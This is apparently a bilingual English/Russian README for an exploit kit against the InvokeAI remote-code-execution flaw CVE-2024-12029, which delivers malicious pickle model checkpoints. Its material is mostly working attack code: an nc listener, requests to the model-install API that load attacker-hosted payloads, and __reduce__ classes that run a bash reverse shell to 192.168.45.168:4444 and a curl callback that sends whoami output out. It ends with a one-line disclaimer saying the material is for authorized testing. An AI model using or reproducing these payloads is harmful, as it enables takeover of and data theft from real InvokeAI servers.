
This repository contains alternative payload approaches for the InvokeAI RCE vulnerability (CVE-2024-12029) when SSH key injection fails. The payloads are designed to test if pickle deserialization is actually occurring and provide alternative access methods.
Этот репозиторий содержит альтернативные подходы к созданию полезных нагрузок для уязвимости RCE в InvokeAI (CVE-2024-12029), когда внедрение SSH-ключа не срабатывает. Полезные нагрузки предназначены для проверки того, действительно ли происходит десериализация pickle, и для предоставления альтернативных методов доступа.
Когда полезные нагрузки с внедрением SSH-ключа успешно доставляются (статус 201), но для SSH-доступа по-прежнему требуется пароль, это указывает на одно из следующих:
payload_reverse_bash.ckpt (89 байт) — Bash reverse shellpayload_reverse_python.ckpt (267 байт) — Python reverse shellpayload_reverse_nc.ckpt (70 байт) — Netcat reverse shellpayload_callback_test.ckpt (115 байт) — HTTP-колбэк для проверки десериализацииpayload_test.ckpt (90 байт) — простой тест создания файлаpayload_alt_exec.ckpt (223 байта) — альтернативный метод выполненияpayload_ssh_simple.ckpt (271 байт) — внедрение SSH-ключа, совместимое с Linuxkali_reverse_test.py — комплексный набор тестовreverse_shell_payload.py — генерация полезных нагрузок reverse shellpython web_server.py --port 8000
# Copy kali_reverse_test.py to Kali and run:
python3 kali_reverse_test.py
# Choose option 1 to test callback
# Start listener on Kali:
nc -lvnp 4444
# Send reverse shell payload:
python3 -c "import requests; requests.post('http://192.168.117.218:9090/api/v2/models/install', params={'source': 'http://192.168.45.168:8000/payload_reverse_bash.ckpt', 'inplace': 'true'}, json={})"
# Test basic command execution:
python3 -c "import requests; requests.post('http://192.168.117.218:9090/api/v2/models/install', params={'source': 'http://192.168.45.168:8000/payload_test.ckpt', 'inplace': 'true'}, json={})"
# Verify file creation:
ssh [email protected] 'cat /tmp/payload_test.txt'
/tmp/payload_test.txt на целевой системеclass CallbackTestPayload:
def __reduce__(self):
import os
command = 'curl "http://192.168.45.168:8000/callback?success=1&user=$(whoami)"'
return (os.system, (command,))
class ReverseShellPayload:
def __reduce__(self):
import os
command = f'bash -c "bash -i >& /dev/tcp/192.168.45.168/4444 0>&1"'
return (os.system, (command,))
class TestPayload:
def __reduce__(self):
import os
return (os.system, ('echo "PAYLOAD_EXECUTED_$(date)" > /tmp/payload_test.txt',))
torch.load()Этот репозиторий предназначен только для образовательных целей и авторизованного тестирования безопасности. Пользователи несут ответственность за получение надлежащего разрешения перед тестированием любых систем.